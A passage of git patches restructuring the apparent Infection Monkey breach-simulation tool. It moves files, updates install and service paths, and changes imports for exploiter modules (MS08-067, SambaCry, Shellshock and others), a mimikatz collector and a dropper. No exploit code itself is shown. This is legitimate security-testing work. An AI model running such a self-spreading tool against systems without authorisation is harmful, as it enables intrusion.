diff --git a/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js similarity index 100% rename from monkey_island/cc/ui/src/services/AuthService.js rename to monkey/monkey_island/cc/ui/src/services/AuthService.js diff --git a/monkey_island/cc/ui/src/styles/App.css b/monkey/monkey_island/cc/ui/src/styles/App.css similarity index 100% rename from monkey_island/cc/ui/src/styles/App.css rename to monkey/monkey_island/cc/ui/src/styles/App.css diff --git a/monkey_island/cc/ui/webpack.config.js b/monkey/monkey_island/cc/ui/webpack.config.js similarity index 100% rename from monkey_island/cc/ui/webpack.config.js rename to monkey/monkey_island/cc/ui/webpack.config.js diff --git a/monkey_island/cc/utils.py b/monkey/monkey_island/cc/utils.py similarity index 100% rename from monkey_island/cc/utils.py rename to monkey/monkey_island/cc/utils.py diff --git a/monkey_island/deb-package/DEBIAN/control b/monkey/monkey_island/deb-package/DEBIAN/control similarity index 100% rename from monkey_island/deb-package/DEBIAN/control rename to monkey/monkey_island/deb-package/DEBIAN/control diff --git a/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst similarity index 100% rename from monkey_island/deb-package/DEBIAN/postinst rename to monkey/monkey_island/deb-package/DEBIAN/postinst diff --git a/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm similarity index 100% rename from monkey_island/deb-package/DEBIAN/prerm rename to monkey/monkey_island/deb-package/DEBIAN/prerm diff --git a/monkey_island/deb-package/monkey_island_pip_requirements.txt b/monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt similarity index 100% rename from monkey_island/deb-package/monkey_island_pip_requirements.txt rename to monkey/monkey_island/deb-package/monkey_island_pip_requirements.txt diff --git a/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh similarity index 100% rename from monkey_island/linux/clear_db.sh rename to monkey/monkey_island/linux/clear_db.sh diff --git a/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh similarity index 100% rename from monkey_island/linux/create_certificate.sh rename to monkey/monkey_island/linux/create_certificate.sh diff --git a/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh similarity index 100% rename from monkey_island/linux/install.sh rename to monkey/monkey_island/linux/install.sh diff --git a/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh similarity index 100% rename from monkey_island/linux/monkey.sh rename to monkey/monkey_island/linux/monkey.sh diff --git a/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh similarity index 100% rename from monkey_island/linux/run.sh rename to monkey/monkey_island/linux/run.sh diff --git a/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf similarity index 100% rename from monkey_island/linux/ubuntu/monkey-island.conf rename to monkey/monkey_island/linux/ubuntu/monkey-island.conf diff --git a/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf similarity index 100% rename from monkey_island/linux/ubuntu/monkey-mongo.conf rename to monkey/monkey_island/linux/ubuntu/monkey-mongo.conf diff --git a/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service similarity index 100% rename from monkey_island/linux/ubuntu/systemd/monkey-island.service rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service diff --git a/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service similarity index 100% rename from monkey_island/linux/ubuntu/systemd/monkey-mongo.service rename to monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service diff --git a/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh similarity index 100% rename from monkey_island/linux/ubuntu/systemd/start_server.sh rename to monkey/monkey_island/linux/ubuntu/systemd/start_server.sh diff --git a/monkey_island/readme.txt b/monkey/monkey_island/readme.txt similarity index 100% rename from monkey_island/readme.txt rename to monkey/monkey_island/readme.txt diff --git a/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt similarity index 100% rename from monkey_island/requirements.txt rename to monkey/monkey_island/requirements.txt diff --git a/monkey_island/windows/clear_db.bat b/monkey/monkey_island/windows/clear_db.bat similarity index 100% rename from monkey_island/windows/clear_db.bat rename to monkey/monkey_island/windows/clear_db.bat diff --git a/monkey_island/windows/copyShortcutOnDesktop.bat b/monkey/monkey_island/windows/copyShortcutOnDesktop.bat similarity index 100% rename from monkey_island/windows/copyShortcutOnDesktop.bat rename to monkey/monkey_island/windows/copyShortcutOnDesktop.bat diff --git a/monkey_island/windows/create_certificate.bat b/monkey/monkey_island/windows/create_certificate.bat similarity index 100% rename from monkey_island/windows/create_certificate.bat rename to monkey/monkey_island/windows/create_certificate.bat diff --git a/monkey_island/windows/openssl.cfg b/monkey/monkey_island/windows/openssl.cfg similarity index 100% rename from monkey_island/windows/openssl.cfg rename to monkey/monkey_island/windows/openssl.cfg diff --git a/monkey_island/windows/removeShortcutFromDesktop.bat b/monkey/monkey_island/windows/removeShortcutFromDesktop.bat similarity index 100% rename from monkey_island/windows/removeShortcutFromDesktop.bat rename to monkey/monkey_island/windows/removeShortcutFromDesktop.bat diff --git a/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat similarity index 100% rename from monkey_island/windows/run_cc.bat rename to monkey/monkey_island/windows/run_cc.bat diff --git a/monkey_island/windows/run_mongodb.bat b/monkey/monkey_island/windows/run_mongodb.bat similarity index 100% rename from monkey_island/windows/run_mongodb.bat rename to monkey/monkey_island/windows/run_mongodb.bat diff --git a/monkey_island/windows/run_server.bat b/monkey/monkey_island/windows/run_server.bat similarity index 100% rename from monkey_island/windows/run_server.bat rename to monkey/monkey_island/windows/run_server.bat From a594bd11c20d1360e554961edce53009f15be66d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 16:09:35 +0300 Subject: [PATCH 03/19] Update gitignore, another relative file fix --- .gitignore | 10 +++++----- monkey/monkey_island/cc/encryptor.py | 2 +- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.gitignore b/.gitignore index 403d090ad..44ae856a5 100644 --- a/.gitignore +++ b/.gitignore @@ -62,9 +62,9 @@ docs/_build/ # PyBuilder target/ -db bin -/monkey_island/cc/server.key -/monkey_island/cc/server.crt -/monkey_island/cc/server.csr -monkey_island/cc/ui/node_modules/ +/monkey/monkey_island/db +/monkey/monkey_island/cc/server.key +/monkey/monkey_island/cc/server.crt +/monkey/monkey_island/cc/server.csr +/monkey/monkey_island/cc/ui/node_modules/ diff --git a/monkey/monkey_island/cc/encryptor.py b/monkey/monkey_island/cc/encryptor.py index 90009d1b0..3a3d052f6 100644 --- a/monkey/monkey_island/cc/encryptor.py +++ b/monkey/monkey_island/cc/encryptor.py @@ -9,7 +9,7 @@ __author__ = "itay.mizeretz" class Encryptor: _BLOCK_SIZE = 32 - _DB_PASSWORD_FILENAME = "mongo_key.bin" + _DB_PASSWORD_FILENAME = "monkey_island/cc/mongo_key.bin" def __init__(self): self._load_key() From d30f2cf8dc0ed2342516f58416b13cab9a811e3d Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 20:26:33 +0300 Subject: [PATCH 04/19] Update scripts --- .../monkey_island/deb-package/DEBIAN/postinst | 21 ++++++++----------- monkey/monkey_island/deb-package/DEBIAN/prerm | 2 +- monkey/monkey_island/linux/clear_db.sh | 2 +- .../monkey_island/linux/create_certificate.sh | 2 +- monkey/monkey_island/linux/install.sh | 2 +- monkey/monkey_island/linux/monkey.sh | 2 +- monkey/monkey_island/linux/run.sh | 6 +++--- .../linux/ubuntu/monkey-island.conf | 4 ++-- .../linux/ubuntu/monkey-mongo.conf | 4 ++-- .../ubuntu/systemd/monkey-island.service | 2 +- .../linux/ubuntu/systemd/monkey-mongo.service | 4 ++-- .../linux/ubuntu/systemd/start_server.sh | 4 ++-- monkey/monkey_island/windows/run_cc.bat | 4 ++-- 13 files changed, 28 insertions(+), 31 deletions(-) diff --git a/monkey/monkey_island/deb-package/DEBIAN/postinst b/monkey/monkey_island/deb-package/DEBIAN/postinst index 3fa922a01..00d3b78f1 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/postinst +++ b/monkey/monkey_island/deb-package/DEBIAN/postinst @@ -1,33 +1,30 @@ #!/bin/bash -MONKEY_FOLDER=/var/monkey_island -INSTALLATION_FOLDER=/var/monkey_island/installation -PYTHON_FOLDER=/var/monkey_island/bin/python - -cp -f ${MONKEY_FOLDER}/monkey.sh /usr/bin/monkey -chmod 755 /usr/bin/monkey +MONKEY_FOLDER=/var/monkey +INSTALLATION_FOLDER=/var/monkey/installation +PYTHON_FOLDER=/var/monkey/monkey_island/bin/python # Prepare python virtualenv pip2 install virtualenv --no-index --find-links file://$INSTALLATION_FOLDER virtualenv -p python2.7 ${PYTHON_FOLDER} # install pip requirements -${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER +${PYTHON_FOLDER}/bin/python -m pip install -r $MONKEY_FOLDER/monkey_island/pip_requirements.txt --no-index --find-links file://$INSTALLATION_FOLDER # remove installation folder and unnecessary files rm -rf ${INSTALLATION_FOLDER} -rm -f ${MONKEY_FOLDER}/pip_requirements.txt +rm -f ${MONKEY_FOLDER}/monkey_island/pip_requirements.txt -cp ${MONKEY_FOLDER}/ubuntu/* /etc/init/ +cp ${MONKEY_FOLDER}/monkey_island/ubuntu/* /etc/init/ if [ -d "/etc/systemd/network" ]; then - cp ${MONKEY_FOLDER}/ubuntu/systemd/*.service /lib/systemd/system/ - chmod +x ${MONKEY_FOLDER}/ubuntu/systemd/start_server.sh + cp ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/*.service /lib/systemd/system/ + chmod +x ${MONKEY_FOLDER}/monkey_island/ubuntu/systemd/start_server.sh systemctl daemon-reload systemctl enable monkey-mongo systemctl enable monkey-island fi -${MONKEY_FOLDER}/create_certificate.sh +${MONKEY_FOLDER}/monkey_island/create_certificate.sh service monkey-island start service monkey-mongo start diff --git a/monkey/monkey_island/deb-package/DEBIAN/prerm b/monkey/monkey_island/deb-package/DEBIAN/prerm index 98557e487..69070adaf 100644 --- a/monkey/monkey_island/deb-package/DEBIAN/prerm +++ b/monkey/monkey_island/deb-package/DEBIAN/prerm @@ -8,6 +8,6 @@ rm -f /etc/init/monkey-mongo.conf [ -f "/lib/systemd/system/monkey-island.service" ] && rm -f /lib/systemd/system/monkey-island.service [ -f "/lib/systemd/system/monkey-mongo.service" ] && rm -f /lib/systemd/system/monkey-mongo.service -rm -r -f /var/monkey_island +rm -r -f /var/monkey exit 0 \ No newline at end of file diff --git a/monkey/monkey_island/linux/clear_db.sh b/monkey/monkey_island/linux/clear_db.sh index d6839ed2a..7ec819cd5 100644 --- a/monkey/monkey_island/linux/clear_db.sh +++ b/monkey/monkey_island/linux/clear_db.sh @@ -1,6 +1,6 @@ #!/bin/bash service monkey-mongo stop -cd /var/monkey_island +cd /var/monkey/monkey_island rm -rf ./db/* service monkey-mongo start diff --git a/monkey/monkey_island/linux/create_certificate.sh b/monkey/monkey_island/linux/create_certificate.sh index 32fa9756d..477440a6f 100644 --- a/monkey/monkey_island/linux/create_certificate.sh +++ b/monkey/monkey_island/linux/create_certificate.sh @@ -1,6 +1,6 @@ #!/bin/bash -cd /var/monkey_island +cd /var/monkey/monkey_island openssl genrsa -out cc/server.key 1024 openssl req -new -key cc/server.key -out cc/server.csr -subj "/C=GB/ST=London/L=London/O=Global Security/OU=Monkey Department/CN=monkey.com" openssl x509 -req -days 366 -in cc/server.csr -signkey cc/server.key -out cc/server.crt diff --git a/monkey/monkey_island/linux/install.sh b/monkey/monkey_island/linux/install.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey/monkey_island/linux/install.sh +++ b/monkey/monkey_island/linux/install.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey/monkey_island/linux/monkey.sh b/monkey/monkey_island/linux/monkey.sh index f230b58d2..d4ebfedbe 100644 --- a/monkey/monkey_island/linux/monkey.sh +++ b/monkey/monkey_island/linux/monkey.sh @@ -10,5 +10,5 @@ else fi MONKEY_FILE=monkey-linux-$ARCH -cp -f /var/monkey_island/cc/binaries/$MONKEY_FILE /tmp +cp -f /var/monkey/monkey_island/cc/binaries/$MONKEY_FILE /tmp /tmp/$MONKEY_FILE m0nk3y $@ diff --git a/monkey/monkey_island/linux/run.sh b/monkey/monkey_island/linux/run.sh index 485d6eff1..6770e2922 100644 --- a/monkey/monkey_island/linux/run.sh +++ b/monkey/monkey_island/linux/run.sh @@ -1,5 +1,5 @@ #!/bin/bash -cd /var/monkey_island/cc -/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db & -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file +cd /var/monkey +/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db & +/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/monkey-island.conf b/monkey/monkey_island/linux/ubuntu/monkey-island.conf index 360559b31..1ded4d94a 100644 --- a/monkey/monkey_island/linux/ubuntu/monkey-island.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-island.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/cc - exec python main.py + chdir /var/monkey + exec python monkey_island/cc/main.py end script post-stop script diff --git a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf index df9145014..cd148d877 100644 --- a/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf +++ b/monkey/monkey_island/linux/ubuntu/monkey-mongo.conf @@ -7,8 +7,8 @@ respawn respawn limit unlimited script - chdir /var/monkey_island/ - exec /var/monkey_island/bin/mongodb/bin/mongod --dbpath db + chdir /var/monkey/monkey_island/ + exec /var/monkey/monkey_island/bin/mongodb/bin/mongod --dbpath db end script post-stop script diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service index 8868dc3aa..d66de2377 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-island.service @@ -5,7 +5,7 @@ After=network.target [Service] Type=simple -ExecStart=/var/monkey_island/ubuntu/systemd/start_server.sh +ExecStart=/var/monkey/monkey_island/ubuntu/systemd/start_server.sh [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service index 6c1fee8f8..b786e0abb 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service +++ b/monkey/monkey_island/linux/ubuntu/systemd/monkey-mongo.service @@ -3,10 +3,10 @@ Description=Monkey Island Mongo Service After=network.target [Service] -ExecStart=/var/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey_island/db +ExecStart=/var/monkey/monkey_island/bin/mongodb/bin/mongod --quiet --dbpath /var/monkey/monkey_island/db KillMode=process Restart=always -ExecStop=/var/monkey_island/bin/mongodb/bin/mongod --shutdown +ExecStop=/var/monkey/monkey_island/bin/mongodb/bin/mongod --shutdown [Install] WantedBy=multi-user.target \ No newline at end of file diff --git a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh index ceeab57f4..21ba14f58 100644 --- a/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh +++ b/monkey/monkey_island/linux/ubuntu/systemd/start_server.sh @@ -1,4 +1,4 @@ #!/bin/bash -cd /var/monkey_island/cc -/var/monkey_island/bin/python/bin/python main.py \ No newline at end of file +cd /var/monkey +/var/monkey/monkey_island/bin/python/bin/python monkey_island/cc/main.py \ No newline at end of file diff --git a/monkey/monkey_island/windows/run_cc.bat b/monkey/monkey_island/windows/run_cc.bat index c16c9fc6b..56f349c7b 100644 --- a/monkey/monkey_island/windows/run_cc.bat +++ b/monkey/monkey_island/windows/run_cc.bat @@ -1,4 +1,4 @@ @title C^&C Server -@pushd cc -@..\bin\Python27\python main.py +@pushd .. +@monkey_island\bin\Python27\python monkey_island\cc\main.py @popd \ No newline at end of file From 8a56144a09d026976991ce59907a393055fe1c59 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 23 May 2018 20:29:32 +0300 Subject: [PATCH 05/19] Various required fixes --- monkey/infection_monkey/main.py | 2 +- monkey/monkey_island/cc/app.py | 11 ++++++++--- monkey/monkey_island/cc/resources/local_run.py | 4 ++-- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/main.py b/monkey/infection_monkey/main.py index 51fd6b9f7..4ff4917b9 100644 --- a/monkey/infection_monkey/main.py +++ b/monkey/infection_monkey/main.py @@ -11,7 +11,7 @@ import traceback from config import WormConfiguration, EXTERNAL_CONFIG_FILE from dropper import MonkeyDrops from model import MONKEY_ARG, DROPPER_ARG -from monkey import InfectionMonkey +from infection_monkey.monkey import InfectionMonkey import utils if __name__ == "__main__": diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 34d14ae86..fdd18345d 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -4,7 +4,7 @@ from datetime import datetime import bson import flask_restful from bson.json_util import dumps -from flask import Flask, send_from_directory, make_response +from flask import Flask, send_from_directory, make_response, Response from werkzeug.exceptions import NotFound from cc.auth import init_jwt @@ -28,18 +28,23 @@ from cc.services.config import ConfigService __author__ = 'Barak' +HOME_FILE = 'index.html' + + def serve_static_file(static_path): if static_path.startswith('api/'): raise NotFound() try: - return send_from_directory('ui/dist', static_path) + return send_from_directory(os.path.join(os.getcwd(), 'monkey_island/cc/ui/dist'), static_path) except NotFound: # Because react uses various urls for same index page, this is probably the user's intention. + if static_path == HOME_FILE: + flask_restful.abort(Response("Server cwd isn't right, should be monkey\\monkey.", 500)) return serve_home() def serve_home(): - return serve_static_file('index.html') + return serve_static_file(HOME_FILE) def normalize_obj(obj): diff --git a/monkey/monkey_island/cc/resources/local_run.py b/monkey/monkey_island/cc/resources/local_run.py index c588eaf80..918e3fe28 100644 --- a/monkey/monkey_island/cc/resources/local_run.py +++ b/monkey/monkey_island/cc/resources/local_run.py @@ -24,8 +24,8 @@ def run_local_monkey(): if not result: return False, "OS Type not found" - monkey_path = os.path.join('binaries', result['filename']) - target_path = os.path.join(os.getcwd(), result['filename']) + monkey_path = os.path.join(os.getcwd(), 'monkey_island', 'cc', 'binaries', result['filename']) + target_path = os.path.join(os.getcwd(), 'monkey_island', result['filename']) # copy the executable to temp path (don't run the monkey from its current location as it may delete itself) try: From 4e207256dd2197a018e7a55f5db3ac5acf6e85c8 Mon Sep 17 00:00:00 2001 From: Itay Mizeretz Date: Wed, 13 Jun 2018 14:38:58 +0300 Subject: [PATCH 06/19] infection monkey works via infection_monkey.py or monkey.exe --- monkey/infection_monkey.py | 4 ++++ monkey/infection_monkey/config.py | 7 +++--- monkey/infection_monkey/control.py | 12 +++++----- monkey/infection_monkey/dropper.py | 8 +++---- monkey/infection_monkey/exploit/__init__.py | 16 +++++++------- .../infection_monkey/exploit/elasticgroovy.py | 11 +++++----- monkey/infection_monkey/exploit/rdpgrinder.py | 17 +++++++------- monkey/infection_monkey/exploit/sambacry.py | 13 ++++++----- monkey/infection_monkey/exploit/shellshock.py | 13 ++++++----- monkey/infection_monkey/exploit/smbexec.py | 17 +++++++------- monkey/infection_monkey/exploit/sshexec.py | 15 +++++++------ monkey/infection_monkey/exploit/tools.py | 18 +++++++-------- .../infection_monkey/exploit/win_ms08_067.py | 15 +++++++------ monkey/infection_monkey/exploit/wmiexec.py | 13 ++++++----- monkey/infection_monkey/main.py | 11 ++++------ monkey/infection_monkey/model/__init__.py | 2 +- monkey/infection_monkey/monkey-linux.spec | 2 +- monkey/infection_monkey/monkey.py | 22 +++++++++---------- monkey/infection_monkey/monkey.spec | 2 +- monkey/infection_monkey/network/__init__.py | 18 +++++++-------- .../infection_monkey/network/elasticfinger.py | 7 +++--- monkey/infection_monkey/network/httpfinger.py | 8 ++++--- .../infection_monkey/network/mysqlfinger.py | 9 ++++---- .../network/network_scanner.py | 8 +++---- .../infection_monkey/network/ping_scanner.py | 7 +++--- monkey/infection_monkey/network/smbfinger.py | 8 ++++--- monkey/infection_monkey/network/sshfinger.py | 9 ++++---- .../infection_monkey/network/tcp_scanner.py | 7 +++--- .../infection_monkey/system_info/__init__.py | 6 ++--- .../system_info/mimikatz_collector.py | 4 +++- .../system_info/windows_info_collector.py | 4 ++-- monkey/infection_monkey/system_singleton.py | 2 +- monkey/infection_monkey/test/config__test.py | 4 ++-- monkey/infection_monkey/transport/__init__.py | 4 ++-- monkey/infection_monkey/transport/base.py | 1 + monkey/infection_monkey/transport/ftp.py | 4 +++- monkey/infection_monkey/transport/http.py | 4 ++-- monkey/infection_monkey/transport/tcp.py | 3 ++- monkey/infection_monkey/tunnel.py | 10 ++++----- monkey/infection_monkey/utils.py | 2 +- monkey/infection_monkey/windows_upgrader.py | 12 +++++----- 41 files changed, 192 insertions(+), 167 deletions(-) create mode 100644 monkey/infection_monkey.py diff --git a/monkey/infection_monkey.py b/monkey/infection_monkey.py new file mode 100644 index 000000000..86e5f5657 --- /dev/null +++ b/monkey/infection_monkey.py @@ -0,0 +1,4 @@ +import infection_monkey.main + +if "__main__" == __name__: + infection_monkey.main.main() diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 7bd651965..0d5e18ebe 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -6,9 +6,10 @@ import uuid from abc import ABCMeta from itertools import product -from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \ - SambaCryExploiter, ElasticGroovyExploiter -from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger +from infection_monkey.exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, \ + ShellShockExploiter, SambaCryExploiter, ElasticGroovyExploiter +from infection_monkey.network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, \ + ElasticFinger __author__ = 'itamar' diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py index d2cbc0cc0..4f3df0b60 100644 --- a/monkey/infection_monkey/control.py +++ b/monkey/infection_monkey/control.py @@ -6,12 +6,12 @@ from socket import gethostname import requests from requests.exceptions import ConnectionError -import monkeyfs -import tunnel -from config import WormConfiguration, GUID -from network.info import local_ips, check_internet_access -from transport.http import HTTPConnectProxy -from transport.tcp import TcpProxy +import infection_monkey.monkeyfs as monkeyfs +import infection_monkey.tunnel as tunnel +from infection_monkey.config import WormConfiguration, GUID +from infection_monkey.network.info import local_ips, check_internet_access +from infection_monkey.transport.http import HTTPConnectProxy +from infection_monkey.transport.tcp import TcpProxy __author__ = 'hoffer' diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py index 6e63e5404..07d65b712 100644 --- a/monkey/infection_monkey/dropper.py +++ b/monkey/infection_monkey/dropper.py @@ -9,10 +9,10 @@ import sys import time from ctypes import c_char_p -from config import WormConfiguration -from exploit.tools import build_monkey_commandline_explicitly -from model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX -from system_info import SystemInfoCollector, OperatingSystem +from infection_monkey.config import WormConfiguration +from infection_monkey.exploit.tools import build_monkey_commandline_explicitly +from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX +from infection_monkey.system_info import SystemInfoCollector, OperatingSystem if "win32" == sys.platform: from win32process import DETACHED_PROCESS diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py index 379d2bd92..d2b1a105e 100644 --- a/monkey/infection_monkey/exploit/__init__.py +++ b/monkey/infection_monkey/exploit/__init__.py @@ -33,11 +33,11 @@ class HostExploiter(object): raise NotImplementedError() -from win_ms08_067 import Ms08_067_Exploiter -from wmiexec import WmiExploiter -from smbexec import SmbExploiter -from rdpgrinder import RdpExploiter -from sshexec import SSHExploiter -from shellshock import ShellShockExploiter -from sambacry import SambaCryExploiter -from elasticgroovy import ElasticGroovyExploiter +from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter +from infection_monkey.exploit.wmiexec import WmiExploiter +from infection_monkey.exploit.smbexec import SmbExploiter +from infection_monkey.exploit.rdpgrinder import RdpExploiter +from infection_monkey.exploit.sshexec import SSHExploiter +from infection_monkey.exploit.shellshock import ShellShockExploiter +from infection_monkey.exploit.sambacry import SambaCryExploiter +from infection_monkey.exploit.elasticgroovy import ElasticGroovyExploiter diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 989ae5cdf..4dbd20e7b 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -9,10 +9,11 @@ import logging import requests -from exploit import HostExploiter -from model import DROPPER_ARG -from network.elasticfinger import ES_SERVICE, ES_PORT -from tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import DROPPER_ARG +from infection_monkey.network.elasticfinger import ES_SERVICE, ES_PORT +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, build_monkey_commandline, get_monkey_depth __author__ = 'danielg' @@ -38,7 +39,7 @@ class ElasticGroovyExploiter(HostExploiter): def __init__(self, host): super(ElasticGroovyExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration self.skip_exist = self._config.skip_exploit_if_file_exist def is_os_supported(self): diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py index 5d73c8279..6b0110e47 100644 --- a/monkey/infection_monkey/exploit/rdpgrinder.py +++ b/monkey/infection_monkey/exploit/rdpgrinder.py @@ -9,12 +9,13 @@ from rdpy.core.error import RDPSecurityNegoFail from rdpy.protocol.rdp import rdp from twisted.internet import reactor -from exploit import HostExploiter -from exploit.tools import HTTPTools, get_monkey_depth -from exploit.tools import get_target_monkey -from model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS -from network.tools import check_tcp_port -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth +from infection_monkey.exploit.tools import get_target_monkey +from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS +from infection_monkey.network.tools import check_tcp_port +from infection_monkey.exploit.tools import build_monkey_commandline __author__ = 'hoffer' @@ -237,8 +238,8 @@ class RdpExploiter(HostExploiter): def __init__(self, host): super(RdpExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration - self._guid = __import__('config').GUID + self._config = infection_monkey.config.WormConfiguration + self._guid = infection_monkey.config.GUID def is_os_supported(self): if super(RdpExploiter, self).is_os_supported(): diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py index 930cd8854..d9d683bdd 100644 --- a/monkey/infection_monkey/exploit/sambacry.py +++ b/monkey/infection_monkey/exploit/sambacry.py @@ -15,11 +15,12 @@ from impacket.smb3structs import SMB2_IL_IMPERSONATION, SMB2_CREATE, SMB2_FLAGS_ SMB2Packet, SMB2Create_Response, SMB2_OPLOCK_LEVEL_NONE from impacket.smbconnection import SMBConnection -import monkeyfs -from exploit import HostExploiter -from model import DROPPER_ARG -from network.smbfinger import SMB_SERVICE -from tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth +import infection_monkey.config +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.exploit import HostExploiter +from infection_monkey.model import DROPPER_ARG +from infection_monkey.network.smbfinger import SMB_SERVICE +from infection_monkey.exploit.tools import build_monkey_commandline, get_target_monkey_by_os, get_binaries_dir_path, get_monkey_depth __author__ = 'itay.mizeretz' @@ -52,7 +53,7 @@ class SambaCryExploiter(HostExploiter): def __init__(self, host): super(SambaCryExploiter, self).__init__(host) - self._config = __import__('config').WormConfiguration + self._config = infection_monkey.config.WormConfiguration def exploit_host(self): if not self.is_vulnerable(): diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py index bca03b6ea..91f8a4768 100644 --- a/monkey/infection_monkey/exploit/shellshock.py +++ b/monkey/infection_monkey/exploit/shellshock.py @@ -6,11 +6,12 @@ from random import choice import requests -from exploit import HostExploiter -from exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth -from model import MONKEY_ARG -from shellshock_resources import CGI_FILES -from tools import build_monkey_commandline +import infection_monkey.config +from infection_monkey.exploit import HostExploiter +from infection_monkey.exploit.tools import get_target_monkey, HTTPTools, get_monkey_depth +from infection_monkey.model import MONKEY_ARG +from 